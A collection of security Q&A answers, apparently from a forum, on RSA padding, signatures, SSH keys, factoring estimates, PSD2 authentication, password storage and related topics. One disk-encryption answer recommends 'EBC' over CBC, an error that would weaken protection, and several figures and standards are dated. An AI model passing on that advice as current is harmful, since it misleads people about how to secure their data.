Are very short messages secure using Public Key Encryption?

Not with "textbook" RSA, where you encode your message as a large number and directly compute the ciphertext c from the message text m and public key (e,n) with c = m^e mod n and decrypt using the secret key (d,n) like m = c^d mod n.

But with real RSA, most definitely yes as randomness is introduced.

One common scheme (RSA ISO standard - which is a hybrid encryption) is to first create a long random number (e.g., if using 2048-bit RSA that is n is 2048 bits, choose a random number (up to 2048-bits long), which will become your RSA message mrsa.  This RSA message is then asymmetrically encrypted.  You then create a cryptographic hash (e.g., SHA-256) of this random value to create a 256-bit symmetric key.  Your real message will then be encrypted with the symmetric key (using say AES-256-CBC) and these two ciphertexts are appended together.

Granted in practice the encryption scheme is slightly more complicated; e.g., a protocol like OAEP is used to additionally provide message authentication to prevent more sophisticated adaptive chosen ciphertext attacks against a decrypting oracle (that HTTPS servers provide).  In fact as CodesInChaos pointed out, using a good padding scheme (like OAEP) directly for a short message allows you to apply RSA directly to the short padded message.

Aside into Optimal Asymmetric Encryption Padding (OAEP)

OAEP works as shown in the diagram below.  For concreteness, let's assume 2048-bit RSA (meaning n=2048 bits) and let H be the SHA-256 hash function and G be a mask generation function based off of a hash function (that essentially creates a hash of the desired length of N-k0 bits starting with SHA-256).  The choice of hash function means that the length of r (and Y) is k0 = 256 bits.  Also note the red ⊕ (circles with plus) means XOR.

So we have a short message m (of length n-k0-k1 which is shorter than n-k0=2048-256=1792 bits) that we want to RSA encrypt directly.  We create a padded version mpad to be exactly n-k0 bits long (the pad will be k1 bits long and start with a 1 followed all zeros).  We create a random k0=256 bit number and call it r.  We compute G(r) and XOR this value with the padded message and that becomes X.  You then take X and compute H(X) and XOR this with r to provide Y.  Then with your OAEP padded message (the concatenation of X and Y), you can directly apply RSA encryption to it.

Or to summarize  X = mpad ⊕ G(r) and Y = H(X) ⊕ r, with the OAEP message going into RSA being the concatenation (X,Y).  For decryption, first the RSA message is decrypted to recover (X,Y).  The decryptor calculates H(X) and xors it with Y, to find r, that is r = Y ⊕ H(X).  Then the decryptor calculates G(r) and xors it with X to recover the original padded message (and the pad can be truncated off by dropping everything starting from the last 1 followed by all zeros).


Securely storing (email) lookup database

There are two different cryptographic approaches to this problem,  a hash function and asymmetric cryptography.

The client could hash the email address using a cryptographic hash function such as SHA-256 and send it to the server for lookup.  There is still the problem of brute force.  email addresses have their pros and cons.  The domain name is kind of like a salt in that no two users will have the same resulting hash.  The con is that its not a very strong salt,  gmail is pretty popular. To make matters worse large list of email addresses would be a useful dictionary attack.  The email address as a key may not be the best choice,  but its not bad.

An alternate design is to use asymmetric cryptography.   Generate a public private key-pair, then throw away the private key.  Give the same public key to every client which is used to encrypt the email address and this cipher text is transmitted to the server as the lookup key.  Note there is still the same problem as brute force,  but asymmetric cryptography is a lot heavier than sha-256.  If this a concern you could explore key stretching.


Resources for determining if Metasploit has exploit for given CVE

The most reliable source, is probably Metasploit's vulnerability & exploits DB - But some alternate sources do exist:

You can use Exploit-DB search to search by CVE exploits by "metasploit" e.g.:

http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=&filter_exploit_text=&filter_author=metasploit&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=[CVE]
You can use OSVDB.org to search by CVE e.g.:

http://osvdb.org/search/search?search[vuln_title]=&search[text_type]=titles&search[s_date]=&search[e_date]=&search[refid]=[CVE]&search[referencetypes]=CVEID&search[vendors]=&search[cvss_score_from]=&search[cvss_score_to]=&search[cvss_av]=*&search[cvss_ac]=*&search[cvss_a]=*&search[cvss_ci]=*&search[cvss_ii]=*&search[cvss_ai]=*&kthx=search

and check the references section for a Metasploit URL.

It's worth noting that both those sources are usually a day or two behind the Metasploit repo.


I would recommend to look into the table of contents of "The Art of Software Security Assessment" aka TAOSSA. It has everything in place, nothing to re-invent.

Also, I see in your list is missing one important thing - dealing with pointers. I suppose for that item there should be separate topic. That is a one real PITA and attention should be pointed to this issue from the early start.

Then, you could take a look here: https://code.google.com/p/it-sec-catalog/wiki/Exploitation#5._Vulnerability_explained to show "worst practices".

Finally, today is very important to point attention to x64 software. Good reading can be found here: http://www.viva64.com/en/articles/


What is the advantage of using a digital signature over simple asymmetric encryption?

These misconceptions come from people trying to explain digital signatures to the layperson. Once someone understands the concept of asymmetric encryption, a common way to explain signatures is "encryption with private key", but in reality there is no such thing (for a very technical explanation, see here). You're far better off thinking of asymmetric encryption and digital signatures as two entirely separate things.

You've come across some of the many problems with this explanation. If someone did try to send you a message "encrypted" with their private key and it was tampered with, you are correct that you would be able to "decrypt" it, but it would be gibberish.

In practice though, messages are too long to be encrypted or signed directly with asymmetric cryptography. When encrypting, a symmetric key is usually generated and used to encrypt the data, then that key is encrypted asymmetrically with the recipient's public key.

Likewise, when signing, the message is first passed through a digest algorithm (cryptographic hash) to remove any structure in the data and to output a small digest that is then signed with the private key. Even if you only have a very short message to sign though, you must still pass it through a hash, otherwise an attacker may be able to forge signatures on random messages algebraically related to yours.

Since correct signing requires some sort of hashing to be used, the signature obviously can't be reversed to the original message, so the message also has to be sent separately to the recipient (consequently your (a) scenario isn't even possible). Often, messages are signed with the sender's private key, then encrypted with a random symmetric key, which itself is then encrypted with the recipient's public key.


Secure Flash with click to play plugins in the enterprise

This post by Google will help you set up extensions in Chrome via Group Policy and the master_preferences file - https://support.google.com/chrome/a/answer/188453?hl=en&ref_topic=2936229
Also, i'd recommend the following extensions (recommended by SANS):

Netcraft
NoScript
HTTPS Everywhere
Ghostery
Ublock Origin


How to prevent corruption from ruining synced backups

Try using a private Git repository - automate the push every night. If you want, you can even host this repo on a private server to ensure that no one else has access to it. Or save the KeePass DB to a veracrypt file and encrypt that file before pushing.


I recommend the Secure Secure Shell article, which suggests:
ssh-keygen -t ed25519 -a 100

Ed25519 is an EdDSA scheme with very small (fixed size) keys, introduced in OpenSSH 6.5 (2014-01-30).  These have complexity akin to RSA at 4096 bits thanks to elliptic curve cryptography (ECC). The -a 100 option specifies 100 rounds of key derivations, making your key's password harder to brute-force.
However, Ed25519 is a rather new key algorithm (Curve25519's popularity spiked only when it was surmised that other standards had been diluted) and its adoption is not yet universal. Large steps were made in 2018, so we're nearly there, but on older systems or for older servers, you can generate a similarly-complex RSA key with 4096 bytes:
ssh-keygen -t rsa -b 4096 -o -a 100

(The -o option also requires OpenSSH 6.5 and is the default starting in v7.8, so it is no longer present in the ssh-keygen man page. This dictates usage of a new OpenSSH format to store the key rather than the previous default, PEM. Ed25519 requires this new format, so we don't need to explicitly state it given -t ed25519. A previous man page stated that “the new format has increased resistance to brute-force password cracking.” See this answer for more detail.)
Do not consider the other new ECC algorithm called ECDSA.  It is considered suspect (it has known weaknesses and since the US government has been involved in its development, it may be compromised beyond that). Ed25519 was developed without any known government involvement.
Stay well away from DSA (“ssh-dss”) keys: they're not just suspect, DSA is insecure.


Why cant all voters be authorities in homomorphic encryption based voting scemes?

To prevent coercion and vote-selling. If the voter has the ability to itself reveal the vote to a outsider, he could be coerced or sell his vote.

Thats why you need a trusted authority, that all voters trust not to reveal personal votes, even if a single voter wants his vote revealed.


Is return oriented programming applicable to pure Java code?

In "pure Java", there is no buffer overflow or use-after-free or double-free or anything like that. This is what the "VM" part of "JVM" is about. ROP is something that you use to leverage an initial breakage whereby you succeeded in overwriting the "return address" for some function, and induced the CPU to jump where you want. By definition, these conditions cannot arise in "pure Java", so ROP is irrelevant. It cannot happen.

Of course, if the JVM implementation has an exploitable bug, or if native code is invoked, then everything about buffer overflows comes back. But then, you are talking about using ROP in some C/C++ code, and no longer about Java.


Is it OK practice to use the same public and private keys for TLS and to generate JWTs?

No, don't do this. This is related to the "never roll your own crypto" rule: understanding all the math in the algorithms and all the implementation details is very hard, and there is a high chance you will miss something leading to vulnerabilities. Also just because you can't break your design, it doesn't mean no one else can.
There is a great question on crypto.SE about using the same RSA keypair to sign and encrypt, and the answerers conclude that even though theoretically it could be done securely, in practice it will very likely lead to vulnerabilities:

Therefore, it is technically safe, cryptographically speaking, to use the same RSA key pair for signature and encryption, provided that the key pair is used safely for signature and used safely for encryption. Here, I mean safe in a narrow sense, assuming a “perfect” world where everything that should stay secret, remains secret.
The thing is, the world is not perfect. Implementations of RSA can leak partial information through side channels. Keys get compromised. Protocols using RSA sometimes use it in ways that are very brittle.
Using the same key for both encryption and signature can exacerbates weaknesses. RSA has a history of weaknesses, not in the mathematical algorithm itself (once you use proper padding), but in the way it's implemented.

Your situation is slightly different (although TLS can use RSA keys for encrypting the session key, and JWT uses the key to sign the payload), but this shows that using the same key for multiple purposes can lead to unintended consequences.
Also as ewanm89 pointed out in the comments: the two use-cases have fundamentally different security requirements and different key management (e.g. how do you rotate your keys and how often do you do that, for how long would you accept JWTs signed with the old key etc.).


Is a straight URL echo XSS unusable in a modern environment?

Browsers interprets pages as HTML when the HTTP response headers contains "Content-Type: text/html".

If the response contains "Content-Type: text/plain", then the text is interpreted as plain text and the text will be displayed as is, no HTML interpretation will be done to the text.


How to estimate the time needed to crack RSA encryption?

See this site for a summary of the key strength estimates used by various researchers and organizations.

Your "512-bits in 12μs" is completely bogus. Let's see from where it comes. 1999 was the year when the first 512-bit general factorization was performed, on a challenge published by RSA (the company) and called RSA-155 (because the number consisted in 155 decimal digits -- in binary, the length is 512 bits). That factorization took 6 months. At the Eurocrypt event organized the same year (in May; at that time the 512-bit factorization effort had begun but was not completed yet), Adi Shamir, from the Weizmann Institute, presented a theoretical device called TWINKLE which, supposedly, may help quite a bit in a factorization effort. It should consist in a huge number of diodes flashing at carefully selected frequencies, in a kind of black tube. Shamir brought a custom device which, from 10 meters away, looked like a coffee machine. He asked for people to switch off the light, so that the Eurocrypt attendee could marvel at the four red diodes flashing at invervals of 2, 3, 5 and 7 seconds. Ooh! and Aah! they went, although the actual machine, would it be built, would require a few millions of diodes and frequencies in the 10 or 100 gigahertz. So the idea is fun (at least for researchers in cryptology, who are known to have a strange sense of humor) but has not gone beyond the theoretical sketch step yet. Shamir is a great showman.

However, TWINKLE is only "help". The best known factorization algorithm is called the General Number Field Sieve; the two algorithms which come next are the Quadratic Sieve and the Elliptic Curve Method. A 512-bit number is out of reach of QS and ECM with today's technology, and a fortiori with 1999's technology. GNFS is very complex (mathematically speaking), especially since it requires a careful selection of some critical parameters ("polynomial selection"). So there must be an initial effort by very smart brains (with big computers, but brains are the most important here). Afterward, GNFS consists in two parts, the sieve and the linear reduction. The sieve can be made in parallel over hundreds or thousand of machines, which must still be relatively big (in RAM), but this is doable. The linear reduction involves computing things with a matrix which is too big to fit in a computer (by several orders of magnitude, and even if we assume that the said computer has terabytes of fast RAM). There are algorithms to keep the matrix (which is quite sparse) in a compressed format and still be able to compute on that, but this is hard. In the 512-bit factorization, sieving took about 80% of the total time, but for bigger numbers the linear reduction is the bottleneck.

TWINKLE is only about speeding up the sieving part. It does nothing about the linear reduction. In other words, it speeds up the part which is easy (relatively speaking). Even a TWINKLE-enhanced sieving half would be nowhere near 12μs. Instead, it would rather help bringing a four month sieving effort down to, say, three weeks. Which is good, in a scientific way, but not a record breaker, especially since linear reduction dominates for larger sizes. The 12μs figure seems to come from a confusion with an even more mythical beast, the Quantum Computer, which could easily factor big numbers if a QC with 512 "qubits" could be built. D-Wave has recently announced a quantum computer with 128 qubits, but it turned out that these were not "real" qubits, and they are unsuitable for factorization (they still can do, theoretically, some efficient approximations in optimization problems, which is great but basically not applicable to cryptography, because cryptographic algorithms are not amenable to approximations -- they are designed so that a single wrong bit scrambles the whole thing). The best "real" QC so far seems to be the prototype by IBM with, as far as I recall, has 5 qubits, enabling it to establish that 15 is equal to 3 times 5.

The current RSA factorization record is for a 768-bit integer, announced in December 2009. It took four years and involved the smartest number theorists currently living on Earth, including Lenstra and Montgomery, who have somewhat god-like status in those circles. I recently learned that the selection of the parameters for a 1024-bit number factorization has begun (that's the "brainy" part); the sieving is technically feasible (it will be expensive and involve years of computation time on many university clusters) but, for the moment, nobody knows how to do the linear reduction part for a 1024-bit integer. So do not expect a 1024-bit break any time soon.

Right now, a dedicated amateur using the published code (e.g. Msieve) may achieve a 512-bit factorization if he has access to powerful computers (several dozens big PC, and at least one clock full of fast RAM) and a few months of free time; basically, "dedicated amateur" means "bored computer science student in a wealthy university". Anything beyond 512 bits is out of reach of an amateur.

Summary: in your code, you can return "practically infinite" as cracking time for all key lengths. A typical user will not break a 1024-bit RSA key, not now and not in ten years either. There are about a dozen people on Earth who can, with any credibility, claim that it is conceivable, with a low but non-zero probability, that they might be able to factor a single 1024-bit integer at some unspecified time before year 2020.

(However, it is extremely easy to botch an implementation of RSA or of any application using RSA in such a way that what confidential data it held could be recovered without bothering with the RSA key at all. If you use 1024-bit RSA keys, you can be sure that when your application will be hacked, it will not be through a RSA key factorization.)


A friend of mine answered the question:

  It's like with security, really (e.g. using PGP as opposed to no
  encryption). Add more security and it has to become a little more
  inconvenient and the person who does it has to know some level of
  details. Make things convenient and they become less secure.

  With WDF you are giving up power (and possibilities). So like with
  security the convenience comes at a price.

  But let me liken the WDF / WDM discussion to something that is
  perfectly within the realm of antivirus software. File system filter
  drivers (FSFDs). Legacy FSFDs are difficult to write, to debug and to
  maintain. Some details change in subtle ways depending on the patch
  level of the OS, not to mention broken APIs or that certain APIs only
  exist at certain OS versions. The easier method - and used by the
  majority of AV vendors I am aware of - uses mini-FSFDs, where, similar
  to the WDF, btw, another driver sits in between you and the kernel
  from the logical perspective (you can still make direct calls) and
  abstracts away a lot of the difficult details.

  If someone were to write a rootkit in WDF - which has probably been
  tried - it would be easier to catch, btw. Remember that one of the
  main objectives of a rootkit is to go udner the radar.

  Also keep in mind that MS has two objectives by introducing new driver
  models:

  cater the needs of devs to have simpler ways of doing stuff and shipping faster
  making it easier for them (i.e. MS) to test drivers (the driver models usually abstract away complexities)
  provide a stabler OS to end users (BSODs are more often than not blamed on MS instead of the vendor that created the driver!)


Is there any reason to send file checksum for signed, encrypted files with MDC

The MDC spec allows you to request a specific hash. The default, MD5, is now considered deprecated.  All MDC implementations are required to support SHA-1.  You can also request SHA256 or SHA512.

Assuming you have a sufficiently secure hash in use with MDC, there's no reason to attach another.


If you want to stay safe you can just ensure your Linux home and root partition are encrypted and use UEFI to ensure your Linux kernel isn't modified. Then it will be impossible for your Windows box to touch the rest of the OS. A less elegant (and insufficient from a legal standpoint if you need to guarantee the data is well protected) but maybe easier approach is to use a cryptic filesystem format that Windows doesn't support but Linux does to store your data :-)

Note, as pointed out by Polynomial in the comments, that cryptsetup (until 2013) used CBC as a default method for encryption which opens up for malleability attacks, leading to the ability to make predictable changes to specific locations on the hard drive's content. Make sure to use EBC instead and remember that you cannot guarantee integrity on your system.

This being said, I would be seriously more worried about my Linux box than about cross-OS attacks if I were you. How do you currently guarantee a rogue or compromised Linux app isn't accessing your study participant data?


You should compress before encrypting.

Encryption turns your data into high-entropy data, usually indistinguishable from a random stream. Compression relies on patterns in order to gain any size reduction. Since encryption destroys such patterns, the compression algorithm would be unable to give you much (if any) reduction in size if you apply it to encrypted data.

Compression before encryption also slightly increases your practical resistance against differential cryptanalysis (and certain other attacks) if the attacker can only control the uncompressed plaintext, since the resulting output may be difficult to deduce.

EDIT: I'm editing this years later because this advice is actually poor in an interactive case. You should not compress data before encrypting it in most cases. A side-channel attack method known as a "compression oracle" can be used to deduce plaintext data in cases where the attacker can interactively cause strings to be placed into an otherwise unknown plaintext datastream. Attacks on SSL/TLS such as CRIME and BREACH are examples of this.


Yes this is a legitimate security issue, but less severe than most. Consider these circumstances:

Any users with the top 5 most common passwords are toast. For example, Password1! from a lazy user may be the most likely password to meet this company's password strength requirements.
Additional data could be associated with known usernames.

For example, if my username is examplesmith, and you find examplesmith@gmail.com, there's a good chance this is the same person.

Additionally, you can search online and quite possibly find this person's Full Name, or even Cell Phone and Mailing Address.

With additional information associated (advanced), you can send some rather convincing Phishing emails. At the very least you can include the username (simple) in the Phishing email to make it more convincing.

Even unsuccessful Phishing attacks can reduce user confidence in the company's system.

So as you can see, knowing which Usernames are valid is not serious by itself, but can be helpful to perform other types of attacks on the system.

As @Marcel states, OWASP recognizes this as a legitimate issue.

Whether or not this particular issue is acceptable depends on the nature of this company's services.  (i.e. ok for simple gaming sites, but never for online banking)


Caught Deauth attempt on wireless network last night. Suggestions on what to do from this point?

If your password is strong and changed, I don't think you need worry. Most likely its just someone trying to crack password for fun. If its a strong password, they probably won't crack it, and if you've changed it, the cracked password will be useless even if they do crack it.


Is server-side access control sufficient or should I encrypt querystrings

It is better to use non-sequential identifier (you can then log / monitor for attempts to access non-existent files for example) however by no means essential and its unlikely to fail an audit provided the role / authorization scheme you have in place is robust. You want to be sure you have full coverage of authorisation checks on access to "things".

You also need to ensure that the userId can't be altered to a different user. It is usually better to send the user a session token that is random and link that to a user session and identity / authorisation behind the scenes.

Testing your authorisation should be part of your regression cycle before every release and can readily be automated by the likes of HtmlUnit ( http://htmlunit.sourceforge.net/ ) or Selenium ( http://www.seleniumhq.org/ ).


Equipment required for sniffing data / address buses via EM emission

I recall a video I saw from one of the big conventions, in which a researcher was able to decode emissions from a PS/2 keyboard using nothing but a slow oscilloscope - he simply observed the ground pin of the target machine and he could pick bits straight off. I had previously assumed that such attacks required spectrum analysers and a degree in RF black magic - but apparently not!

The video is by 'Andrea Barisana and Daniele Bianco' and is from a BlackHat 2009 talk - talk slides are at https://www.blackhat.com/presentations/bh-usa-09/BARISANI/BHUSA09-Barisani-Keystrokes-SLIDES.pdf.

I should point out that I haven't tried to replicate their research myself.


CVE Description - Does impacted supported version mean specific version and older?

I would say those specific versions are the only ones that are vulnerable. If there are multiple versions Oracle usually writes "11.0.x" for example, or "Versions prior to 8.1" etc. So when they explicitly write out a couple of different versions numbers, that's probably the only ones that are vulnerable.

Source: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html (they are doing it right here on their advisory)

(but as noted in a comment, if you are using an unsupported version, then that can be assumed to vulnerable to all kinds of things and you would never know)


Good tools for reverse engineering colaboratively?

The only experience I have with collaborative reverse engineering is using the collabREate plugin with IDA Pro. You can check it out here.

Although I don't have any personal experience with many of these, it is probably also worth checking out the collaborative RCE tool library, which lists many options for collaborative debugging.


Road to be an Independent Security Researcher?

Just do it.

If you want to become an Independent Security Researcher, you can. You can start now. Don't get hung up on whether or not you have the skills for it, just DO IT! The best time to plant a tree was 20 years ago. The second best time is now.

You have plenty of time to learn, and you will learn a lot in your journey.

Q&A Session

  I want to be a security researcher, but I can't find a fixed set of syllabus or sets of skills you need to know before hand in order to be called a security researcher.

Like Schroeder says, once you've found something, you can start calling yourself an Independent Security Researcher. I'll take that a step further: once you get started, you are one. Whether or not you'd be successful, and whether or not you get paid for it, are both entirely different subjects.

What value are you providing as an Independent Security Researcher?
Are people willing to pay for your research, or are you happy to just do it?

  It's very unambiguous, Is it that you have to a very good coder so you can write very complex algorithms or is it that you need to know a good amount of Assembly language or you need to know how to debug a kernel ?

Did you know a lot of Information Security experts are non-technical? No, really. This field is huge. You don't need to be overly technical, depending on what you want to work with.

Privacy & compliance is a huge field which doesn't require you to be technical. Even though people in this area aren't generally technical, I have tremendous respect for the individuals that I've worked with in this sub-specialty.

"Coding" and Assembly

If you're a good coder, Application Security would be a good fit, as would creating security-based programs. There's a lot of other things you can do as well. This is one area of the field with many sub-specialties.

If you want to reverse engineer programs, do malware analysis, or search for vulnerabilities and then create PoCs, then assembly is very useful (as is any language you want to create the exploit in). This is one area with many sub-specialties.

Full Stack Security Engineer? Nope.

Schroeder is right about there not being a "Full Stack Security Engineer." I say this despite dabbling in over 20 different sub-specialties in the Cyber Security "field."

I've got a lot of experience, but there's so much I don't know, and so much I'm lacking. There's no way in hell I'd try to sell myself as a Full Stack Security Engineer.


Why does the PSD2 have an exception that requires two-factor authentication only every 90 days?

TLDR:

If the bank is requiring 2FA every 90 days for login only, but requires it for every payment (see exceptions below, e.g. recurrent payments to the same receiver), then your bank seems to seek for balance between security and friendliness, and seems to be compliant with PSD2.
If the bank requires 2FA once every 90 days also for payments, then this very probably violates the PSD2 requirements and does not improve security.

Details:
The PSD2 defines what operations have higher risks and need a "strong customer authentication".

Where payment service  providers apply strong customer authentication
in  accordance with  Article  97(1)  of Directive (EU)  2015/2366, the
authentication shall  be  based on  two  or  more  elements which  are
categorised  as knowledge, possession and inherence and shall result
in the generation of an authentication code.

To put it simple, "strong customer authentication" is a multi-factor authentication, 2FA or stronger.
Mainly, this "strong customer authentication" is applicable to payments:

The  requirements of  strong customer  authentication apply  to
payments initiated  by  the  payer...

More security often means less friendliness and worse user experience. The PSD2 tries to find a balance.

... exemptions  to  the  principle of  strong customer authentication
have been defined based on the level of risk, amount, recurrence and
the payment channel used for the execution of the payment transaction.

Try to travel to Afghanistan or Marocco and login to your account. Very probably you will be asked for 2FA. Why? Because the rule above was applied: You are using other channel that has higher risk compared to access from your country.
The rule above defines basic principles. Briefly: risk estimation should take into account many different factors.
The PSD2 defines also exceptions. For instance:

Actions which imply access to the balance and the recent transactions
of a payment account without disclosure of  sensitive payment data,
recurring  payments to  the  same  payees  which  have  been
previously set  up  or confirmed by the payer through the use of
strong customer authentication, and payments to and from the same
natural or  legal  person with  accounts with  the  same  payment
service  provider,  pose  a  low  level  of  risk,  thus allowing
payment service  providers not  to  apply strong customer
authentication.

This means that if you only login to your account and don't do any payments, your bank is not required to apply "strong customer authentication". Some banks require 2FA also for login. Your bank uses this formal right not to do that.
One of factors for such decision may be recurrence. Try to login 1000 times a day, even without doing any payments. I would suppose that your bank will require 2FA not after 90 days, but very shortly, after you have reached some number of logins that your bunk considers as suspicious.
The requirement mentioned above allows to see the recent transactions without "strong customer authentication". When you want to see your history older than 90 days your bank considers this as not recent transactions and, according to this rule, requires "strong customer authentication", in your case it requires 2FA.
Requiring 2FA every 90 days is not a requirement of PSD2, but decision of your bank. The security benefits of doing that are very small. An attacker that knows your PIN will just use it between these dates, and let say will add 10 days before and 10  days after the date when the next 2FA may be requested, and use your PIN 70 days freely. The only security benefit I see is that when the bank is asking for 2FA they can be sure that the TAN device is not stolen and you still have it. The banks that want to have balance between security and user experience ask for a 2nd factor not in a regular interval, but at some unpredictable moments. Thus the attacker would not benefit from knowing that the bank asks for the 2nd factor only once every 90 days. I suppose your bank does not consider that as a risk.


How to prevent users from downloading executable files or portable apps?

Depends in the scope of the proyect and the ammount of data thats managed for the network. This could have different approaches:

Web Security Appliance

You can deploy a WSA (Web Security Appliance) there you can modify the configuration to block certain types of files to be downloaded.

Proxy

You could use a proxy were you can define the type of traffic allow to enter your network

Active Directory Policy

You can Set "Allow file download" policy to "Disabled" in the OU that affect your users. Sadly this is inefective if there is already other browsers installed in the host.

Firewall

You could configure your ISA server to block downloading all together.


Is my bank storing my password in plain text?

I agree with StrangeWill's answer; it appears they are storing it with a reversible encryption, which for many purposes is equivalent to storing it as plain-text -- as a malicious user in full control of their systems can recover the plaintext password.

You should make sure your password for your bank is not reused for other purposes; though this is always a good practice -- esp for anything where security is an issue and you aren't personally administering the systems.

If they aren't storing the password in a reversible format then they must have pre-stored hashes for each of the 56 different permutations (if your password was 8 characters long; there are 8 choose 3=56 ways of choosing 3 chars from it) of your password; and hashed each permutation with a unique long salt (so rainbow tables aren't possible).  However, if an attacker on their systems ever found your hashes; they could easily reconstruct your password since your effective password for each salt is only three characters long.  It would take roughly 803 ~ half a million attempts to crack one hash; or about 28 million attempts to crack all 56.  Since a single modern GPU can generate billions of (standard - md5/sha1) hashes per second; this is brute-forced in under a second.  They could beef this up a bit by using cryptographically secure hashes (bcrypt) or key stretching -- though this seems unlikely due to the large number of hashes they'll have to compute to store and check your passwords combined with given how weak it is initially (and it adds the risk of DoS attacks to the authentication module).

FYI: the reason your bank decided this method is that it helps prevent replay attacks.  E.g., if you log in to the bank on an insecure computer where a keylogger was running, the keylogger won't be able to log in on the next attempt with the same three characters you just used.  This is a bit tricky to do in practice (e.g., you have to make sure that the requested three characters doesn't change if the user doesn't enter a password and tries again later (from a different ip address) that you will get locked out and have to call your bank after say 10 consecutive bad attempts, etc).


Securely storing AES key with public key cryptography

Overall, the better solution of the two is #2, but not just because of its security properties. More so because of user convenience. Let's go over why.

Option #1: The user's (potentially weak) password is stored in a variable and used n times, where n is the number of files that you're dealing with. Storing it in memory for such a long time could potentially increase the risk of it being leaked or compromised.

Option #2: Assuming you use a relatively fast asymmetric encryption algorithm (ECC), there should be really no time penalty for using this option. For encryption, the user's input is not needed as the public key is used. The private key is stored encrypted, so for decryption, the user enters a key once to unlock the private key. Of course, in this case, the private key has the potential of being compromised from memory, but the risk only exists when decrypting.

The main question is this. Do you want your user to be entering his key more, or less? The obvious answer is of course, less, and so scheme #2 is the better option.

(Also, consider running the user's password through a key-derivation function (e.g. scrypt or argon2) before using it as an encryption key.)

EDIT:

Apparently, I had misread your second option and assumed that you were using asymmetric encryption to encrypt the files. In that case, I would recommend using what I assumed you had meant.

Generate an elliptic-curve public-private key-pair.
Encrypt the private-key (symmetrically) with a user-defined password that has been run through a key-derivation function.
On encryption, use the public-key to automatically encrypt the user files without needing user input.
On decryption, the user-password is needed to derive the key to decrypt the private-key that would subsequently be used to decrypt the data.

To ensure proper confidentiality, authenticity, and integrity, I would use something like NaCl's crypto_box to implement my encryption.


How to find just the first character or value of a MD5 hash string

The MD5 pre-image resistance theoretically is broken bu not practically. Instead of the generic preimage attack with 2128 complexity, there is an attack that requires 2123.4 complexity. MD5, however, is not practically broken. You cannot reach the 123-bit search space in a meaningful time. Consider the collective power of BitCoin miners; in 2020/1/17 they reached 126.1314 Exahashes per second, that makes

267 SHA256 double hashes in a second, and
292 SHA256 double hashes in a year. So you need 221 years with that power.

What you asking is against the design principle of the hash functions; the avalanche criteria. That is changing one bit of input will flip approximately half of the output bits, randomly.

If you can find even a single bit better than the generic pre-image attack, then you have a theoretical weakness. you can use this attack like divide and conquer technique to reduce the overall pre-image attack complexity.


Could my mobile number have been used without my knowledge?

Just like you can send a mail and make it look like it came from an adress you don't own, there is ways to make a phone call and make it look like it came from another number.

Basically, when a phone call is made, your phone provide your number so the recipient can see which number called them.
But as it is your phone that provide the information, one can manipulate it to make it look like it came from someone else.


USB sticks you own and control bought from a trusted source are fine. Trusted source being a known retailer or brand.
Its picking up a random one off the street or a receiving one from an untrusted source that introduces risk.

Think of it as software if you buy an application from a trusted source you run it on your machine - if you grab something from a torrent well roll the dice.

If you are really worried buy one and configure your system to only allow USB storage from that particular device. Windows you can do this via group policy.


Found Unusual Services running on my VPS

nmap indicating "filtered" simply means that the packets are being blackholed somewhere between your nmap client and the target being scanned.

It does not indicate anything specific about your VPS itself. It is more likely an indication that your VPS provider or their facility filters traffic on these ports.

  Filtered means that a firewall, filter, or other network obstacle is
  blocking the port so that Nmap cannot tell whether it is open or
  closed.

  -- http://nmap.org/book/man.html

You can simulate this for a specific TCP port on Linux (with or without something listening on that port) using iptables and a DROP target. The DROP results in a complete lack of response, and triggers the "filtered" result in nmap.

Compare this with a "closed" port which would result in an RST being sent, or a port which you may have configured with an ICMP "administratively prohibited" or similar message.


What's the policy of CAs for validity period of certificates?

WebPKI?!?
NOTE: All these answers assume you're talking about CERTIFICATES FOR THE WEB (WebPKI). (Not for code signing, e-mail, etc.) Please let me know if this is indeed what you wanted to know.
Now in case you were NOT talking about WebPKI, you may want to take a look at the respective CA's "Certification Practice Statements" (CPS).
Example: Digicert's CPS lists their validity periods here:
https://www.digicert.com/wp-content/uploads/2017/09/DigiCert_CPS_v412.pdf#page=49
Q1
Money.
The longer, the more expensive. See for example: https://www.digicert.com/buy-ssl-certificates/ (Archived here: https://archive.is/G5D9p)
Q2
Yes. See above.
Q3
Not sure. I don't think so.
Q4
DV
They're pretty much all bound to the BASELINE REQUIREMENTS for the regular kind of certs, which are DV (domain validated) certs.
-> https://cabforum.org/wp-content/uploads/CA-Browser-Forum-BR-1.5.4.pdf
And the BRs currently define a limit of 3 years + 3 months. (39 months)
But this will change next year. Then the limit will be 2 years + 3 months. (825 days to be precise.)
Nice blog about this change is here: https://www.entrustdatacard.com/blog/2017/march/maximum-certificate-lifetime-drops-to-825-days-in-2018 (Archived here: https://archive.is/JCa2M)
EV
Now for EV (extended validation) certs the rules are laid out here:
https://cabforum.org/wp-content/uploads/EV-V1_6_7.pdf
And they have this to say:

9.4. Maximum Validity Period For EV Certificate
The validity period for an EV Certificate SHALL NOT exceed 825 days. It is RECOMMENDED that EV Subscriber
Certificates have a maximum validity period of twelve months.

-- To be honest I have no idea at all what kind of weight a statement like "It is RECOMMENDED" carries. (I'm genuinely interested. Does anybody care about such a recommendation? Are there soft sanctions, like being frowned upon or something? -- Please leave a comment if you know more.)
But take the Digicert link from above: they currently do offer 2 year EV certs. (In spite of the recommendation.)
Q5
Yes. You pay more, you get longer validity. (Up to the limit mentioned above.)


What security risks exist in cell phone apps' data transfer?

Your question is a bit vague.

What data is transfered by smartphones?

It depends. You can be fairly certain the data will include telephone conversations, SMS/MMS messages, and e-mails.

What data is stored on a smart phone?

calls records (remote phone number, time/date of call start, call duration, direction [incoming/outgoing] , potentially the name of he remote party)
SMS/MMS data ( photots [time/date, location, potentially names of people in the photos])
location data ( time/date with lattitude longitude )
photos ( see SMS/MMS )
e-mails ( recipients, time/date, pop3 server, smtp server)
web site usage ( URL, form data, cookies, time date of last visit )
contacts (phone numbers, e-mail, physical address,  relationships )
music (preferences, listening frequency, etc)

Potentially, any data stored on the smartphone could be transfered.

Do you want any of this data to be private (confidential) ?

If so, then transfers involving this data need to be protected, usually this is done by encryption. The security risk in this case would be exposure of confidential data. Mitigation against exposure is encrypting your data, and configuring access controls to limit access to the data.

Do you want to protect any of this data from modification?

